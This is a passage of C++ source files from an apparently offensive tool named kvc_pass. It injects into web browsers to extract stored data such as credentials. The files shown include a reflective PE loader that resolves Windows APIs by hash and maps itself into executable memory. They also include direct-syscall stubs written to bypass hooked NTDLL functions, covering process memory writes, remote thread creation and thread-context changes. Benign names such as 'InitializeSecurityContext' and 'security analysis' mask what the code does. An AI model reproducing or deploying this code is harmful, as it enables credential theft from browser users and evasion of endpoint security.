    if (browserTarget.empty())
    {
        BrowserHelp::PrintUsage(L"kvc_pass.exe");
        return 0;
    }
    
    // Initialize direct syscalls
    if (!InitializeSyscalls(isVerbose))
    {
        console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked.");
        return 1;
    }
    
    // Ensure output directory exists
    if (outputPath.empty())
        outputPath = fs::current_path() / "output";

    std::error_code ec;
    if (!fs::exists(outputPath)) {
        fs::create_directories(outputPath, ec);
        if (ec) {
            console.Error("Failed to create output directory: " + 
                         Utils::path_to_api_string(outputPath) + ". Error: " + ec.message());
            return 1;
        }
    }
    
    // Process browser(s)
    if (browserTarget == L"all")
    {
        try
        {
            ProcessAllBrowsers(console, isVerbose, outputPath);
        }
        catch (const std::exception& e)
        {
            console.Error(e.what());
            return 1;
        }
    }
    else
    {
        auto optConfig = Configuration::CreateFromArgs(argc, argv, console);
        if (!optConfig)
            return 1;

        try
        {
            if (!isVerbose)
                console.Info("Processing " + optConfig->browserDisplayName + "...\n");

            auto stats = RunInjectionWorkflow(*optConfig, console);

            if (!isVerbose)
                DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, 
                                        optConfig->outputPath);
            else
                console.Success("\nSecurity analysis completed successfully");
        }
        catch (const std::runtime_error& e)
        {
            console.Error(e.what());
            return 1;
        }
    }

    console.Debug("Security orchestrator finished successfully.");
	Banner::PrintFooter();
    return 0;
}

<<<FILE: kvc_pass/OrchestratorCore.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 00:58:44
Size:     1.52 KB
// OrchestratorCore.h - Main orchestration logic and configuration management
#ifndef ORCHESTRATOR_CORE_H
#define ORCHESTRATOR_CORE_H

#include <Windows.h>
#include <filesystem>
#include <optional>
#include <string>
#include "CommunicationLayer.h"
#include "EdgeDPAPI.h"

namespace fs = std::filesystem;

// Application configuration parsed from command-line arguments
struct Configuration
{
    bool verbose = false;
    fs::path outputPath;
    std::wstring browserType;
    std::wstring browserProcessName;
    std::wstring browserDefaultExePath;
    std::string browserDisplayName;

    // Parses command line arguments and builds configuration
    static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console);
};

// Executes the complete browser analysis workflow
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console);

// Processes all installed browsers in batch mode
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath);

// Displays final extraction summary for a single browser
void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats,
                              const Console& console, bool singleBrowser, const fs::path& outputPath);

// Builds a human-readable summary string from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats);

#endif // ORCHESTRATOR_CORE_H

<<<FILE: kvc_pass/SelfLoader.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 18:21:44
Size:     11.83 KB
// SelfLoader.cpp
#include <windows.h>
#include <algorithm>
#include <cstring>
#include "SelfLoader.h"

#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)

namespace {
    // Position-independent code generation helper for hash computation
    DWORD ror_dword_loader(DWORD d) noexcept
    {
        return _rotr(d, HASH_KEY);
    }

    // Generate runtime hash for API name resolution
    DWORD hash_string_loader(const char* c) noexcept
    {
        DWORD h = 0;
        do
        {
            h = ror_dword_loader(h);
            h += *c;
        } while (*++c);
        return h;
    }

    // Get current instruction pointer for position-independent addressing
    __declspec(noinline) ULONG_PTR GetIp() noexcept
    {
        return reinterpret_cast<ULONG_PTR>(_ReturnAddress());
    }
}

// Manual PE loader with base relocation support for security modules
DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpLoaderParameter)
{
    LOADLIBRARYA_FN fnLoadLibraryA = nullptr;
    GETPROCADDRESS_FN fnGetProcAddress = nullptr;
    VIRTUALALLOC_FN fnVirtualAlloc = nullptr;
    NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = nullptr;

    ULONG_PTR uiModuleBase = GetIp();
    ULONG_PTR uiKernel32Base = 0;
    ULONG_PTR uiNtdllBase = 0;

    // Locate current module base by walking backwards from instruction pointer
    while (true)
    {
        auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(uiModuleBase);
        if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
        {
            auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(uiModuleBase + pDosHeader->e_lfanew);
            if (pNtHeaders->Signature == IMAGE_NT_SIGNATURE)
                break;
        }
        uiModuleBase--;
    }

    // Retrieve Process Environment Block based on target architecture
    auto pPeb = GET_PEB();
    auto pLdr = pPeb->Ldr;
    auto pModuleList = &(pLdr->InMemoryOrderModuleList);
    auto pCurrentEntry = pModuleList->Flink;

    // Walk PEB loader data to locate system libraries
    while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
    {
        auto pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_MINIMAL, InMemoryOrderLinks);
        if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != nullptr)
        {
            DWORD dwModuleHash = 0;
            USHORT usCounter = pEntry->BaseDllName.Length;
            auto pNameByte = reinterpret_cast<const BYTE*>(pEntry->BaseDllName.Buffer);

            // Generate case-insensitive hash for module name comparison
            do
            {
                dwModuleHash = ror_dword_loader(dwModuleHash);
                if (*pNameByte >= 'a' && *pNameByte <= 'z')
                {
                    dwModuleHash += (*pNameByte - 0x20);
                }
                else
                {
                    dwModuleHash += *pNameByte;
                }
                pNameByte++;
            } while (--usCounter);

            if (dwModuleHash == KERNEL32DLL_HASH)
            {
                uiKernel32Base = reinterpret_cast<ULONG_PTR>(pEntry->DllBase);
            }
            else if (dwModuleHash == NTDLLDLL_HASH)
            {
                uiNtdllBase = reinterpret_cast<ULONG_PTR>(pEntry->DllBase);
            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }

    if (!uiKernel32Base || !uiNtdllBase)
        return 0;

    // Parse kernel32.dll export directory for required APIs
    auto pDosKernel32 = reinterpret_cast<PIMAGE_DOS_HEADER>(uiKernel32Base);
    auto pNtKernel32 = reinterpret_cast<PIMAGE_NT_HEADERS>(uiKernel32Base + pDosKernel32->e_lfanew);
    auto uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    auto pExportDirK32 = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(uiExportDirK32);

    auto uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
    auto uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
    auto uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;

    // Resolve critical Windows APIs by hash comparison
    for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
    {
        auto sName = reinterpret_cast<const char*>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfNamesK32)[i]);
        const DWORD dwHashVal = hash_string_loader(sName);
        
        if (dwHashVal == LOADLIBRARYA_HASH)
            fnLoadLibraryA = reinterpret_cast<LOADLIBRARYA_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);
        else if (dwHashVal == GETPROCADDRESS_HASH)
            fnGetProcAddress = reinterpret_cast<GETPROCADDRESS_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);
        else if (dwHashVal == VIRTUALALLOC_HASH)
            fnVirtualAlloc = reinterpret_cast<VIRTUALALLOC_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);

        if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
            break;
    }

    if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
        return 0;

    // Parse ntdll.dll export directory for instruction cache management
    auto pDosNtdll = reinterpret_cast<PIMAGE_DOS_HEADER>(uiNtdllBase);
    auto pNtNtdll = reinterpret_cast<PIMAGE_NT_HEADERS>(uiNtdllBase + pDosNtdll->e_lfanew);
    auto uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    auto pExportDirNtdll = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(uiExportDirNtdll);

    auto uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
    auto uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
    auto uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;

    for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
    {
        auto sName = reinterpret_cast<const char*>(uiNtdllBase + reinterpret_cast<DWORD*>(uiAddressOfNamesNtdll)[i]);
        if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
        {
            fnNtFlushInstructionCache = reinterpret_cast<NTFLUSHINSTRUCTIONCACHE_FN>(uiNtdllBase + reinterpret_cast<DWORD*>(uiAddressOfFunctionsNtdll)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsNtdll)[i]]);
            break;
        }
    }

    if (!fnNtFlushInstructionCache)
        return 0;

    // Allocate memory for relocated image in target virtual address space
    auto pOldNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(uiModuleBase + reinterpret_cast<PIMAGE_DOS_HEADER>(uiModuleBase)->e_lfanew);
    const auto uiNewImageBase = reinterpret_cast<ULONG_PTR>(fnVirtualAlloc(nullptr, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
    if (!uiNewImageBase)
        return 0;

    // Copy PE headers to new memory location
    auto pSourceBytes = reinterpret_cast<const BYTE*>(uiModuleBase);
    auto pDestinationBytes = reinterpret_cast<BYTE*>(uiNewImageBase);
    const DWORD dwHeadersSize = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
    
    std::copy(pSourceBytes, pSourceBytes + dwHeadersSize, pDestinationBytes);

    // Copy all sections to their virtual addresses
    auto pSectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<ULONG_PTR>(&pOldNtHeaders->OptionalHeader) + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
    for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
    {
        auto pSectionSource = reinterpret_cast<const BYTE*>(uiModuleBase + pSectionHeader[i].PointerToRawData);
        auto pSectionDest = reinterpret_cast<BYTE*>(uiNewImageBase + pSectionHeader[i].VirtualAddress);
        const DWORD dwSectionSize = pSectionHeader[i].SizeOfRawData;

        std::copy(pSectionSource, pSectionSource + dwSectionSize, pSectionDest);
    }

    // Process base relocations for position-independent execution
    const auto uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
    auto pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    if (pRelocationData->Size > 0 && uiDelta != 0)
    {
        auto pRelocBlock = reinterpret_cast<PIMAGE_BASE_RELOCATION>(uiNewImageBase + pRelocationData->VirtualAddress);
        while (pRelocBlock->VirtualAddress)
        {
            const DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto pRelocEntry = reinterpret_cast<PIMAGE_RELOC_ENTRY>(reinterpret_cast<ULONG_PTR>(pRelocBlock) + sizeof(IMAGE_BASE_RELOCATION));
            
            for (DWORD k = 0; k < dwEntryCount; k++)
            {
#if defined(_M_X64) || defined(_M_ARM64)
                if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
                {
                    *reinterpret_cast<ULONG_PTR*>(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
                }
#else
                if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
                {
                    *reinterpret_cast<DWORD*>(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += static_cast<DWORD>(uiDelta);
                }
#endif
            }
            pRelocBlock = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG_PTR>(pRelocBlock) + pRelocBlock->SizeOfBlock);
        }
    }

    // Process import address table and resolve external dependencies
    auto pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (pImportData->Size > 0)
    {
        auto pImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(uiNewImageBase + pImportData->VirtualAddress);
        while (pImportDesc->Name)
        {
            auto sModuleName = reinterpret_cast<const char*>(uiNewImageBase + pImportDesc->Name);
            const HINSTANCE hModule = fnLoadLibraryA(sModuleName);
            if (hModule)
            {
                auto pOriginalFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(uiNewImageBase + pImportDesc->OriginalFirstThunk);
                auto pFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(uiNewImageBase + pImportDesc->FirstThunk);
                if (!pOriginalFirstThunk)
                    pOriginalFirstThunk = pFirstThunk;

                while (pOriginalFirstThunk->u1.AddressOfData)
                {
                    FARPROC pfnImportedFunc;
                    if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
                    {
                        pfnImportedFunc = fnGetProcAddress(hModule, reinterpret_cast<LPCSTR>(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
                    }
                    else
                    {
                        auto pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
                        pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
                    }
                    pFirstThunk->u1.Function = reinterpret_cast<ULONG_PTR>(pfnImportedFunc);
                    pOriginalFirstThunk++;
                    pFirstThunk++;
                }
            }
            pImportDesc++;
        }
    }

    // Execute security module entry point with parameter passing
    auto fnModuleEntry = reinterpret_cast<DLLMAIN_FN>(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
    fnNtFlushInstructionCache(reinterpret_cast<HANDLE>(-1), nullptr, 0);
    fnModuleEntry(reinterpret_cast<HINSTANCE>(uiNewImageBase), DLL_PROCESS_ATTACH, lpLoaderParameter);

    return uiNewImageBase;
}

<<<FILE: kvc_pass/SelfLoader.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 18:21:08
Size:     3.02 KB
// SelfLoader.h - Minimal position-independent PE loader
#ifndef SelfLoader_H
#define SelfLoader_H
#pragma once

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>

#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif

// Function pointer types for dynamic API resolution
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);

// Hash computation constants for position-independent code
#define HASH_KEY 13

// Pre-computed hashes for API resolution without Import Table
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D

#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8

// Minimal Unicode string for module name access
typedef struct _UNICODE_STRING_LDR
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;

// Minimal LDR entry containing only essential fields for module walking
typedef struct _LDR_DATA_TABLE_ENTRY_MINIMAL
{
    LIST_ENTRY InLoadOrderLinks;           // +0x00
    LIST_ENTRY InMemoryOrderLinks;         // +0x10 Used for CONTAINING_RECORD
    LIST_ENTRY InInitializationOrderLinks; // +0x20
    PVOID DllBase;                         // +0x30 Module base address
    PVOID EntryPoint;                      // +0x38
    ULONG SizeOfImage;                     // +0x40
    UNICODE_STRING_LDR FullDllName;        // +0x48
    UNICODE_STRING_LDR BaseDllName;        // +0x58 Module name for hashing
} LDR_DATA_TABLE_ENTRY_MINIMAL, *PLDR_DATA_TABLE_ENTRY_MINIMAL;

// Minimal PEB LDR data containing only module list
typedef struct _PEB_LDR_DATA_MINIMAL
{
    BYTE Reserved1[8];                     // +0x00
    PVOID Reserved2[3];                    // +0x08  
    LIST_ENTRY InMemoryOrderModuleList;    // +0x20 Module enumeration list
} PEB_LDR_DATA_MINIMAL, *PPEB_LDR_DATA_MINIMAL;

// Minimal PEB structure with only required fields
typedef struct _PEB_MINIMAL
{
    BYTE Reserved1[24];                    // +0x00-0x17 
    PPEB_LDR_DATA_MINIMAL Ldr;            // +0x18 Pointer to loader data
} PEB_MINIMAL, *PPEB_MINIMAL;

// Base relocation entry for PE image fix-ups
typedef struct _IMAGE_RELOC_ENTRY
{
    WORD offset : 12;
    WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;

// PEB access for position-independent code
#if defined(_M_X64)
#define GET_PEB() reinterpret_cast<PPEB_MINIMAL>(__readgsqword(0x60))
#elif defined(_M_ARM64) 
#define GET_PEB() reinterpret_cast<PPEB_MINIMAL>(__readx18qword(0x60))
#else
#error "Unsupported architecture"
#endif

// Entry point export
DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpParameter);

#endif

<<<FILE: kvc_pass/syscalls.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 18:44:46
Size:     10.61 KB
// syscalls.cpp
#include "syscalls.h"
#include <vector>
#include <string>
#include <algorithm>
#include <cstdint>
#include <map>

SYSCALL_STUBS g_syscall_stubs{};

// External assembly trampoline for syscall ABI transition
extern "C" NTSTATUS AbiTramp(...);

namespace
{
    // Syscall mapping structure for address-based sorting
    struct SORTED_SYSCALL_MAPPING
    {
        PVOID pAddress;
        LPCSTR szName;
    };

    // Comparator for syscall address sorting to determine SSNs
    bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
    {
        return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
    }

    // Locate syscall gadget within function prologue for x64 architecture
    PVOID FindSyscallGadget_x64(PVOID pFunction)
    {
        for (DWORD i = 0; i <= 64; ++i)
        {
            auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;

            // Skip relative jump instructions
            if (*current_addr == 0xE9) // jmp rel32
            {
                i += 4;
                continue;
            }

            // Look for syscall; ret instruction sequence
            if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
            {
                return current_addr;
            }
        }
        return nullptr;
    }
}

// Initialize direct syscall stubs for low-level system operations
BOOL InitializeSyscalls(bool is_verbose)
{
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll)
        return FALSE;

    // Parse NTDLL export directory to enumerate Zw* functions
    auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
    auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
    auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
    auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);

    // Collect and sort all Zw* functions for SSN determination
    std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
    sortedSyscalls.reserve(pExportDir->NumberOfNames);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
    {
        LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
        if (strncmp(szFuncName, "Zw", 2) == 0)
        {
            PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
            sortedSyscalls.push_back({pFuncAddress, szFuncName});
        }
    }

    std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);

    // Map of required syscalls with their parameter counts for security operations
    struct CStringComparer
    {
        bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
    };
    const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
        {"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
        {"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
        {"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
        {"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
        {"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
        {"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
        {"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
        {"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
        {"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
        {"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
        {"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
        {"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
        {"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}},
        {"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}},
        {"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}},
        {"ZwClose", {&g_syscall_stubs.NtClose, 1}},
        {"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}},
        {"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}},
        {"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}};

    // Resolve syscall stubs and gadgets for each required function
    for (WORD i = 0; i < sortedSyscalls.size(); ++i)
    {
        const auto &mapping = sortedSyscalls[i];
        auto it = required_syscalls.find(mapping.szName);
        if (it == required_syscalls.end())
            continue;

        PVOID pGadget = FindSyscallGadget_x64(mapping.pAddress);
        if (pGadget)
        {
            it->second.first->pSyscallGadget = pGadget;
            it->second.first->nArgs = it->second.second;
            it->second.first->ssn = i;
        }
    }

    // Validate that all required syscalls were successfully resolved
    for (const auto &pair : required_syscalls)
    {
        if (!pair.second.first->pSyscallGadget)
            return FALSE;
    }

    return TRUE;
}

// Direct syscall implementations using assembly trampoline
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}

NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}

NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
}

NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
}

NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
}

NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}

NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}

NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
}

NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
}

NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}

NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
}

NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
}

NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
}

NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
}

NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
}

NTSTATUS NtClose_syscall(HANDLE Handle)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtClose, Handle);
}

NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes);
}

NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
}

NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength)
{
    return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength);
}

<<<FILE: kvc_pass/syscalls.h>>>
Created:  2026-02-27 12:50:26
